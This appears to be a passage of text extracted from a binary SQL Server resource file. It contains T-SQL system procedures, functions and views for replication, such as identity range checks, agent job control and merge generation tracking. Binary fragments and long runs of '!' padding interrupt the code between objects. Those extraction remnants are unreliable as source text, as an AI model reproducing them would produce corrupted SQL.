    fetch per_article INTO @artid, @logical_record_view
    while (@@fetch_status <> -1)
    begin
        if object_id(@logical_record_view) is not NULL
        and not exists (select * from sysmergepartitioninfo where logical_record_view = @logical_record_view
			and pubid <> @pubid)
        begin
            select @quoted_obj = QUOTENAME(@logical_record_view)
            exec ('drop view ' + @quoted_obj)
            if @@error<>0 
                goto FAILURE
        end
           
        update dbo.sysmergepartitioninfo 
            set logical_record_view = NULL,
            logical_record_parent_nickname = NULL,
            logical_record_deleted_view_rule = NULL
            where pubid = @pubid and artid = @artid 
    fetch per_article INTO @artid, @logical_record_view
    end
    close per_article
    deallocate per_article
    return (0)

FAILURE:
    close per_article
    deallocate per_article
    return (1)
0Q@ %8create procedure sys.sp_MScheck_republisher_ranges
    @qualified_name nvarchar(300),
    @artid uniqueidentifier,
    @pub_identity_range bigint = NULL,
    @identity_range bigint = NULL
as
    declare @objid int
    declare @ident_incr numeric(38,0)
    declare @root_pubid uniqueidentifier
    declare @subid uniqueidentifier
    declare @repub_range_begin numeric(38,0)
    declare @repub_range_end numeric(38,0)
    declare @repub_next_range_begin numeric(38,0)
    declare @repub_next_range_end numeric(38,0)
    declare @root_pub_range bigint
    declare @root_range bigint
    declare @root_publisher sysname
    
    -- now get the idrange information for the publication to which this db is a subscriber and
    -- has a republisher range allocated.
    select @root_pubid=pubid, @root_pub_range = pub_range, @root_range = range from dbo.sysmergearticles where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=0
    if @root_pubid is NULL
    begin
        RAISERROR (20634, 16, -1)
        RETURN (1)
    end

    select @root_publisher = publisher from dbo.sysmergepublications where pubid = @root_pubid

    -- for the following comparisons we will convert the ranges to positive numbers if
    -- the ident_increment is negative
    select @ident_incr = IDENT_INCR(@qualified_name)
    if @ident_incr is NULL
    begin
        RAISERROR(21756, 16, -1, @qualified_name)
        return 1
    end
        
    if @ident_incr < 0
    begin
        select @pub_identity_range = -1*@pub_identity_range
        select @root_pub_range = -1*@root_pub_range
        select @identity_range = -1*@identity_range
        select @root_range = -1*@root_range
    end

    -- now first ensure that the new publisher range is not greater than original pub range
    if @pub_identity_range > @root_pub_range/2
    begin
        raiserror(20660, 16, -1)
        return 1
    end
    if @identity_range > @root_pub_range/2
    begin
        raiserror(20661, 16, -1)
        return 1
    end
    
    select @subid=subid from dbo.sysmergesubscriptions 
        where pubid = @root_pubid and  UPPER(subscriber_server)=UPPER(publishingservername()) and db_name=db_name()
    if @subid is NULL
    begin
        raiserror(20021, 16, -1)
        return 1
    end

    -- find the repulisher range which should have been allocated to the global subscription that we are republishing
    select @repub_range_begin=range_begin, @repub_range_end=range_end, 
           @repub_next_range_begin=next_range_begin, @repub_next_range_end=next_range_end
    from dbo.MSmerge_identity_range where subid=@subid and artid=@artid and is_pub_range=1
    if @repub_range_begin is NULL
    begin
        raiserror(20662, 16, -1, @root_publisher)
        return 1
    end
0i0X D8$shq	4r	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<F3U0Hi J8create procedure sys.sp_MSstopsnapshot_agent
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname
)
as
begin
    set nocount on

    if (isnull(is_srvrolemember('sysadmin'),0) = 0)
    begin
        raiserror (21089, 16, -1)
        return 1
    end
    
    -- database must be distribution db
    if sys.fn_MSrepl_isdistdb(db_name()) <> 1
    begin
        raiserror (21482, 16, -1, 'sp_MSstopsnapshot_agent', 'distribution')
        return 1
    end

    declare @retcode int
            ,@stop tinyint
    set @stop = 1
    exec @retcode = sys.sp_MSsnapshotagentjobcontrol
        @publisher = @publisher,
        @publisher_db = @publisher_db,
        @publication = @publication,
        @action = @stop        
    return @retcode
end
0 *8
create procedure sys.sp_indexcolumns_managed 
( 
	@Catalog			sysname = NULL,
	@Owner			sysname = NULL,
	@Table 			sysname = NULL,
	@ConstraintName	sysname = NULL,
	@Column			sysname = NULL
)
as 
	select
		constraint_catalog		= s_icv.constraint_catalog, 
		constraint_schema		= s_icv.constraint_schema, 
		constraint_name		= s_icv.constraint_name,
		table_catalog			= s_icv.table_catalog,
		table_schema			= s_icv.table_schema,
		table_name			= s_icv.table_name,
		column_name			= s_icv.column_name,
		ordinal_position		= convert(int, s_icv.ordinal_position),
		KeyType				= s_icv.KeyType,
		index_name 			= s_icv.index_name
from
	sys.spt_indexcolumns_view_managed s_icv
where
	(s_icv.table_catalog = @Catalog or (@Catalog is null)) and 
	(s_icv.table_schema = @Owner or (@Owner is null)) and 
	(s_icv.table_name = @Table or (@Table is null)) and 
	(s_icv.index_name = @ConstraintName or (@ConstraintName is null)) and
	(s_icv.column_name = @Column or (@Column is null))
order by table_name, index_name 
0
 r8
CREATE PROCEDURE sys.sp_MSsetlastsentgen
    (@repid uniqueidentifier, @srcgen bigint, @srcguid uniqueidentifier)
as
    /*
    ** Check to see if current publication has permission
    */
    declare @retcode    int
    declare @pubid      uniqueidentifier
    declare @subscription_type smallint

    -- if this is the light weight client we have nothing to set here
    if object_id('dbo.MSmerge_rowtrack', 'U') is not null
        return 0
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @repid = @repid
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    if (@repid is null)
    begin
        RAISERROR(14043, 16, -1, '@repid', 'sp_MSsetlastsentgen')
        return (1)
    end

    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    /* 
    ** This is a special case which is used to update the anonymous subscriptions sent and 
    ** received generation guids at the end of initializing a dynamic subscription. This is 
    ** used in the case where an anonymous subscription is reinitialized after a merge metadata
    ** cleanup
    */
    if (@srcgen is null and @srcguid is null)
    begin

        declare @lastrecsentgen     bigint
        declare @lastrecsentguid    uniqueidentifier

        select @lastrecsentgen = max(g.generation) 
            from MSmerge_genhistory g,
            (select isnull(gen2.generation, gen1.generation) as generation
                from (select max(generation) as generation from dbo.MSmerge_genhistory where genstatus in (1,2)) as gen1,
                        (select min(generation) as generation from dbo.MSmerge_genhistory where genstatus in (0,4)) as gen2
            ) as minopengen
        where g.generation <= minopengen.generation and g.genstatus in (1,2)
        if @lastrecsentgen IS NOT NULL
            select @lastrecsentguid = guidsrc from dbo.MSmerge_genhistory where generation = @lastrecsentgen
        update dbo.sysmergesubscriptions  set sentgen= @lastrecsentgen, sentguid = @lastrecsentguid
            where subid = @repid
        IF @@ERROR <>0 return (1)
    end
    else
    begin
        -- check for setting a sentgen which is obviously too high
        if (exists (select * from dbo.MSmerge_genhistory where generation < @srcgen and
                    genstatus in (0,4) and
                    (art_nick = 0 or art_nick is null or art_nick in
                        (select nickname from dbo.sysmergearticles where
                                pubid = @pubid) )))
        begin
            RAISERROR('Setting sentgen too high', 16, -1)
            return (1)
        end
        update dbo.sysmergesubscriptions  set sentgen= @srcgen, sentguid = @srcguid 
            where subid = @repid
        IF @@ERROR <>0 return (1)
    end         
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!``<uF'Qw@0:K 8create procedure sys.sp_helptracertokenhistory
(
	@publication	sysname,
	@tracer_id		int,
	@publisher		sysname = NULL,	
	@publisher_db	sysname = NULL
)
as
begin
	declare @retcode 			int,
			@distproc 			nvarchar(1000),
			@distributor 		sysname, 
			@distribution_db 	sysname
	--
	-- Calling convention is different if we are already at the distdb
	--
	if sys.fn_MSrepl_isdistdb (db_name()) = 1
	begin
		-- security check for distributor is performed in the helper proc.
		
		-- if we are at the distributor then publisher and
		-- publisher db are required parameters for this proc
		if isnull(@publisher, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher', 'distribution')
			return 1
		end
		else if isnull(@publisher_db, N'') = N''
		begin
			-- Parameter '%s' cannot be NULL or empty string when this procedure is run from a distribution database.
			raiserror(20686, 16, -1, '@publisher_db', 'distribution')
			return 1
		end

		exec @retcode = sys.sp_MShelptracertokenhistory	@publication 	= @publication,
														@tracer_id		= @tracer_id,
														@publisher		= @publisher,	
														@publisher_db	= @publisher_db

		return @retcode
	end

	--
	-- Everything below this line is expected to run on the Publisher
	--
	
    -- Publisher Security Check.
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error <> 0 or @retcode <> 0
        return 1

    -- check this db is published
	if sys.fn_MSrepl_istranpublished(db_name(),1) <> 1
    begin
		-- "The database is not published."
		raiserror (18757, 16, -1)
		return 1
	end
	
	-- do not allow users to specify pub/pubdb unless at disdb
	if @publisher is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher', 'distribution')
		return 1
	end
	else if @publisher_db is not NULL
	begin
		-- Parameter ''%s'' must be NULL when this procedure is not being run from a distribution database.
		raiserror(20687, 16, -1, '@publisher_db', 'distribution')
		return 1
	end

	select @publisher = publishingservername(),
			@publisher_db = db_name()

	exec @retcode = sys.sp_helpdistributor @rpcsrvname = @distributor OUTPUT, 
											@distribdb = @distribution_db OUTPUT,
											@publisher = @publisher
	if @@error <> 0 or @retcode <> 0 or @distributor is NULL or @distribution_db is NULL
	begin
		-- "The Distributor has not been installed correctly."
		raiserror(20036, 16, -1)
		return 1
	end

	select @distproc = QUOTENAME(RTRIM(@distributor)) + '.' + QUOTENAME(RTRIM(@distribution_db)) + '.sys.sp_MShelptracertokenhistory'	
	exec @retcode = @distproc @publication 		= @publication,
								@tracer_id		= @tracer_id,
								@publisher		= @publisher,	
								@publisher_db	= @publisher_db
	if @@error <> 0 or @retcode <> 0 
	begin
		return 1
	end

	return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<F+@>V0;6= 3	8create procedure sys.sp_MSrepl_subscription_rowset
(
    @subscriber sysname,
    @agent_id int,
    @agent_type int = 0
)
AS
BEGIN
    DECLARE @retcode int
    DECLARE @subscriber_provider sysname
    
    SELECT @subscriber_provider = NULL
    
    -- Security check: sysadmin/dbo/PAL only
    EXEC @retcode = sys.sp_MScheck_pull_access @agent_id = @agent_id,
                                                @agent_type = @agent_type
    IF @@error <> 0 or @retcode <> 0
        RETURN 1
        
	-- Query the MSdistribution_agents entry for the subscriber provider
    SELECT  @subscriber_provider = ma.subscriber_provider
    FROM    MSdistribution_agents ma, master.dbo.sysservers ss
    WHERE    UPPER(ss.srvname) = UPPER(@subscriber) collate database_default
      AND    ma.subscriber_id = ss.srvid
      AND    ma.id = @agent_id

    IF @@error <> 0
        RETURN 1
    
	-- If the subscriber_provider from the MSdistribution_agents table is     
    -- NULL, we either have a downlevel publisher, or yukon security is not
    -- enabled.  In both cases, we need to call sp_MSrepl_linkedserver_rowset
    -- to generate the rowset.
    IF ISNULL(@subscriber_provider, N' ') = N' '
    BEGIN
        exec @retcode = sys.sp_MSrepl_linkedservers_rowset @srvname = @subscriber,
														  @agent_id = @agent_id,
														  @agent_type = @agent_type
		IF @@error <> 0 or @retcode <> 0
		BEGIN
			RETURN 1
		END
			
		RETURN 0	
			
    END 

	-- Query the MSdistribution_agents entry for the subscriber information
    SELECT  SUB_NAME            = ss.srvname,
            SUB_PRODUCT         = ss.srvproduct,
            SUB_PROVIDERNAME    = ma.subscriber_provider,
            SUB_DATASOURCE      = ma.subscriber_datasrc,
            SUB_PROVIDERSTRING  = ma.subscriber_provider_string,
            SUB_LOCATION        = ma.subscriber_location,
            SUB_CATALOG         = ma.subscriber_catalog
    FROM    MSdistribution_agents ma, master.dbo.sysservers ss
    WHERE    UPPER(ss.srvname) = UPPER(@subscriber) collate database_default
      AND    ma.subscriber_id = ss.srvid
      AND    ma.id = @agent_id

    IF @@error <> 0
    BEGIN
        RETURN 1
    END    
                                               
    RETURN 0
END
0K Q8
CREATE PROCEDURE sys.sp_MSenumgenerations
    (@genstart bigint, 
     @pubid uniqueidentifier, 
     @return_count_of_generations bit = 0)
as
    declare @generation_range TABLE (generation bigint NOT NULL, guidsrc uniqueidentifier NOT NULL, art_nick int NULL, genstatus tinyint NOT NULL, pubid uniqueidentifier NULL, nicknames varbinary(1000) NOT NULL, okaytoskip bit NOT NULL, changecount int NOT NULL)
    declare @retcode    smallint
                        ,@rowcount   int
                        ,@maxgen                bigint
                                                
        /*
        ** Check to see if current publication has permission
        */

        if (@genstart is null)
                begin
                RAISERROR(14043, 16, -1, '@genstart', 'sp_MSenumgenerations')
                return (1)
                end
        if (@pubid is null)
                begin
                RAISERROR(14043, 16, -1, '@pubid', 'sp_MSenumgenerations')
                return (1)
                end
                
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin   
                RAISERROR (14126, 11, -1)
                return (1)
        end

    insert into @generation_range (generation, guidsrc, art_nick, genstatus, pubid, nicknames, okaytoskip, changecount)
            select DISTINCT generation, guidsrc, art_nick, genstatus, pubid, {fn REPLNICKARRAY_90_TO_80(nicknames)}, 0, changecount
        from dbo.MSmerge_genhistory with (rowlock)
        where generation >= @genstart 
        and (art_nick = 0 or art_nick is NULL or 
                    art_nick in (select nickname from dbo.sysmergearticles 
                    where pubid = @pubid)) 
    select @rowcount = @@rowcount
        
    if (@return_count_of_generations = 1)
        select @rowcount

    -- we want open generations inserted by merge to look like local open generations
    -- update @generation_range set genstatus = 0 where genstatus = 4
    
    -- optimizations 
    -- 1. skip all rows that are for incomplete generations for articles that have no joins.
    -- 2. skip all rows for join articles if all the join article rows are incomplete generations.
    update @generation_range set okaytoskip = 1
    where art_nick is not null and art_nick <> 0
    and genstatus in (0, 4)
    and 
    (
        (   
            -- 1. skip all rows that are for incomplete generations for articles that have no joins.
            not exists (select 1 from dbo.sysmergesubsetfilters where (join_nickname = art_nick or art_nickname = art_nick) and (filter_type & 1) = 1)
        )
        or
        (   
            -- 2. skip all rows for join articles if all the rows for join and joined articles (i.e. the articles represented by join_nickname 
            --    and art_nickname in dbo.sysmergesubsetfilters) are incomplete generations.

            art_nick in (select join_nickname from dbo.sysmergesubsetfilters where (filter_type & 1) = 1)
            and not exists 
            (   
                    select 1 from @generation_range b where b.genstatus in (1,2)
                    and exists (select 1 from dbo.sysmergesubsetfilters where (join_nickname = b.art_nick or art_nickname = b.art_nick) and (filter_type & 1) = 1)
                    and b.generation > @genstart
            ) 
        )
    )
    
    -- Merge agent is SQL 8.0 or lower

    -- generations have to fit into 4 byte range
    declare @maxgen_80 int
    set @maxgen_80= 2147483647
    if (select max(generation) from @generation_range) > @maxgen_80
    begin
        raiserror(21521,16,1,@maxgen_80)
        return(1)
    end
        
    declare @arbitrary_guidlocal uniqueidentifier, @guidnull uniqueidentifier
    select @arbitrary_guidlocal = newid()
    select @guidnull = '00000000-0000-0000-0000-000000000000'
        
    select generation, guidsrc, art_nick, 
    case when genstatus in (0, 4) then @guidnull else @arbitrary_guidlocal end,
    pubid, nicknames, okaytoskip from @generation_range
    ORDER BY generation ASC
 
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`wW<d)00 8create procedure sys.sp_MSrepl_helptext @procname nvarchar(4000)
as
begin
	declare @max_row_number int, @row_number int, @definition nvarchar(max), @objid int

	select @objid = object_id(@procname)
	if @objid is null
	begin
		declare @db_name nvarchar(130)
		select @db_name = db_name()
		raiserror(15009,16, -1, @procname, @db_name)
		return 1
	end
		
	select @max_row_number = max(colid) 
	from dbo.syscomments
    where id = @objid
	
	select @row_number = 1, @definition = N''
	while @row_number <= @max_row_number
	begin
		select @definition = @definition + text 
		from dbo.syscomments
		where id = @objid
		and colid = @row_number
		
		select @row_number = @row_number + 1
	end
	
	select @definition

	return 0
end
0C}@ 8create procedure sys.sp_MSsafe_repl_encrypt (@password nvarchar(524) output)
as 
begin
	declare @retcode int
	begin try
		EXEC @retcode = sys.xp_repl_encrypt @password OUTPUT
		IF @@ERROR <> 0 OR  @retcode <> 0
			return 1
	end try
	begin catch
		select @password = ''
		if (ERROR_NUMBER() = 17750) --Could not find xprepl.dll - mask this error
		begin
			return 0
		end
		else
		begin
			return 1 -- All other errors are not masked
		end
	end catch
	return 0
end
0 X8


--
-- Name:
--		fn_ORAsourceinfo
--
-- Description:
--		Formatted source string
--
-- Inputs:
--		@publisher_column_id	== column id
--
-- Returns:
--		CREATE TABLE - style string for source type
--
-- Security:
--		Internal
--
-- Notes:
--		Used by the UI and RMO.  Oracle specific impelmentation.
--

CREATE FUNCTION sys.fn_ORAsourceinfo
(
	@type		sysname,
	@length		bigint,
	@prec		bigint,
	@scale		int,
	@nullable	bit
)
RETURNS
	varchar(512)
AS
BEGIN
	DECLARE @source_info	varchar(512)

	SELECT @type = UPPER(@type)

	IF @type = 'NUMBER'
	BEGIN
		IF (@prec IS NULL OR @scale IS NULL)
		BEGIN
			SELECT @source_info =	@type
		END
		ELSE
		BEGIN
			SELECT @source_info =	@type + '(' +
									CONVERT(varchar(10), @prec) + ',' +
									CONVERT(varchar(10), @scale) + ')'
		END
	END
	ELSE IF @type IN ('CHAR', 'VARCHAR2', 'NCHAR', 'NVARCHAR2', 'RAW')
	BEGIN
		SELECT @source_info = @type + '(' + CONVERT(varchar(10), @length) + ')'
	END
	ELSE
	BEGIN
		SELECT @source_info = @type
	END

	RETURN @source_info
END
02 8
create view sys.spt_procedures_user
as
    -- For non-numbered procedures
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = convert(smallint, -- not in sys.all_objects
                                       case     -- These conditions should match the ones in sys.spt_parameters_numbered_parameters
                                           when o.type in ('P', 'PC') then 1
                                           else                            0 -- 'FN', 'TF', 'IF'
                                       end),
        type                = o.type,
        create_date         = o.create_date
    from
        sys.objects o
    where
        o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure

    union all

    -- For numbered procedures. These procedures are in deprication mode...
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = convert(smallint, s_np.procedure_number),
        type                = o.type,
        create_date         = o.create_date
    from
        sys.objects o inner join -- We don't have info about numbered system procedures(sp_ddopen;2, etc.)
        sys.numbered_procedures s_np on
            (
                s_np.object_id = o.object_id
            )
0̐@ D8h
$
00@ d8CREATE view sys.dm_cdc_errors
as
	SELECT 
	    [session_id]
        ,[phase_number]
        ,[entry_time]
        ,[error_number]
        ,[error_severity]
        ,[error_state]
        ,[error_message]
        ,[start_lsn]
        ,[begin_lsn]
        ,[sequence_value]
	FROM OpenRowset(TABLE DM_CDC_ERRORS)
0 8create function sys.fn_replcombinehilodwordintobinary8 (
    @hidword int,
    @lodword int
    ) returns binary(8)
as
begin
    if @hidword is null
        set @hidword = 0

    if @lodword is null
        set @lodword = 0

    declare @combined_value binary(8)
    set @combined_value = convert(binary(4), @hidword) + convert(binary(4), @lodword) 
    return @combined_value
end
0[W 8create procedure sys.sp_MSreplcheck_permission(
    @objid int,
    @type int,
    @permissions int)
AS
    declare @tablename sysname
    declare @ownername  sysname
    declare @unqual_sourcename nvarchar(540)

    select @ownername=SCHEMA_NAME(schema_id) from sys.objects where object_id=@objid
    select @tablename=object_name(@objid)

    -- bypass this checking for dbo or member of db_owner.
    if is_srvrolemember('sysadmin') = 1 or is_member ('db_owner') = 1
        return (0)
        
    if @permissions=0
        return (0)
        
    select @unqual_sourcename = sys.fn_replreplacesinglequote(@ownername + '.' + @tablename)

    --insert
    if @type=1 and @permissions & 1 = 1 and HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'INSERT')=0
        return (1)

    --update        
    if @type=2 and @permissions & 2 = 2 and HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'UPDATE')=0
        return (1)

    --delete
    if @type=3 and @permissions & 4 = 4 and HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'DELETE')=0
        return (1) 
        
    return (0)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	xr
`<:tծS0~ {8create procedure sys.sp_MSmergeagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @subscriber     sysname,
    @subscriber_db  sysname,
    @action         tinyint
)
as
begin
    set nocount on

    declare @job_id         uniqueidentifier
    declare @publisher_id   int
    declare @subscriber_id  int
    declare @retcode        int
    set @retcode = 0

    set @publisher_id = null    
    select @publisher_id = server_id
      from sys.servers
     where upper(name) = upper(@publisher) collate database_default
    if @publisher_id is null
    begin
        raiserror (21618, 16, -1, @publisher)
        return 1
    end

    set @job_id = null
    select @job_id = msma.job_id
      from dbo.MSmerge_agents as msma
inner join msdb.dbo.sysjobs_view as sjv
        on msma.job_id = sjv.job_id        
inner join msdb.dbo.sysjobsteps as sjs
        on sjv.job_id = sjs.job_id
     where msma.publisher_id = @publisher_id
       and msma.publisher_db = @publisher_db
       and msma.publication = @publication
       and upper(msma.subscriber_name) = upper(@subscriber)
       and msma.subscriber_db = @subscriber_db
       and sjv.category_id = 14
       and sjs.subsystem = N'Merge'
    
    if @job_id is null
    begin
        -- "Could not find a merge agent job for the specified merge push subscription."
        raiserror(21847, 16, -1)
        return 1
    end
    exec @retcode = sys.sp_MSreplicationagentjobcontrol
        @job_id = @job_id,
        @action = @action
    return @retcode
    
end
0 @ 8create procedure sys.sp_MSmerge_getgencount
	@genlist varchar(8000),   
	@gencount int output
as 
    declare @position1 int
    declare @position2 int

    set @gencount = 0
	
    if len(@genlist) = 0 or @genlist is NULL
        return

    -- determine number of generations in genlist  
    -- if we get this far, we have at least one gen
    set @gencount = 1
    set @position1 = 1
    set @position2 = charindex(',', @genlist, @position1)

    while @position2 > 0
    begin
        set @gencount = @gencount + 1
        set @position1 = @position2 + 1
        set @position2 = charindex(',', @genlist, @position1)
    end

    return 0
0/@ w8
create procedure sys.sp_MSenumreplicas (
    @pubid uniqueidentifier)
as
    declare @inactive tinyint

    /*
    ** Check to see if current publication has permission
    */
    if ({ fn ISPALUSER(@pubid) } <> 1)
    begin   
        RAISERROR (14126, 11, -1)
        return (1)
    end

    select @inactive = 0
    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    select subs.subid, {fn REPLNICK_90_TO_80(subs.replnickname)}, 
           subs.subscriber_type, subs.subscription_type, 
           subs.priority, subs.schemaversion, subs.schemaguid, subs.datasource_type, subs.subscriber_server, subs.subscriber_server,  
           subs.db_name, subs.status, subs.pubid, subs.sync_type, subs.description, subs.pubid, pubs.name, pubs.distributor
           from dbo.sysmergesubscriptions subs
           left outer join dbo.sysmergepublications pubs
           on subs.subid = pubs.pubid
                where subs.status <> @inactive
                    and subs.subscriber_type = 1
                    -- If called by 8.0 reconciler on 9.0 replica: It does not know about status 7.
                    and subs.status <> 7 -- REPLICA_STATUS_BeforeRestore
                    order by convert(binary, subs.subid)
    IF @@ERROR <>0 return (1) 
    return (0)
0@ 8create procedure sys.sp_MSgetmetadata_changedlogicalrecordmembers 
        (@parent_rowguid uniqueidentifier, 
        @commongen bigint,
        @parent_nickname int)
as
    declare @retcode int
    
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @parent_nickname
    if (@retcode <> 0) or (@@error <> 0)
        return 1

    select mc.tablenick, mc.rowguid, mc.generation, type=2, mc.lineage, mc.colv1
    from dbo.MSmerge_contents mc join 
    (select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
		as smpi
    on mc.tablenick = smpi.nickname
    and mc.logical_record_parent_rowguid = @parent_rowguid
    and mc.generation > @commongen
    
    UNION
    
    select mc.tablenick, mc.rowguid, mc.generation, mc.type, mc.lineage, NULL
    from dbo.MSmerge_tombstone mc join
    (select distinct nickname from dbo.sysmergepartitioninfoview where logical_record_parent_nickname = @parent_nickname)
		as smpi
    on mc.tablenick = smpi.nickname
    and mc.logical_record_parent_rowguid = @parent_rowguid
